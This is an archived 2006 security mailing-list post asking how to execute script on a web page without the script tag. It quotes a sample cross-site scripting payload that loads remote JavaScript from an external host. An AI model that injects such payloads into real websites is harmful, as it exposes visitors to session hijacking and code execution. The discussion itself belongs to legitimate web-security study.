XSS - how to run script

From: Tal Argoni (moskito@zahav.net.il)
Date: Thu Oct 19 2006 - 20:42:52 EDT


Does anyone have any
techniques/knowledge/examples/ideas/etc
of how it possible to run script
without using the <script> tag,
and without evasion techniques ?
<script
src=http://www.www.com/XSS.js></script>
Thanks allot
LegendaryZion

------------------------------------------------------------------------
This List Sponsored by: Cenzic

Need to secure your web apps?
Cenzic Hailstorm finds vulnerabilities fast.
Click the link to buy it, try it or download Hailstorm for FREE.
http://www.cenzic.com/products_services/download_hailstorm.php?camp=701600000008bOW
------------------------------------------------------------------------



This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:57:13 EDT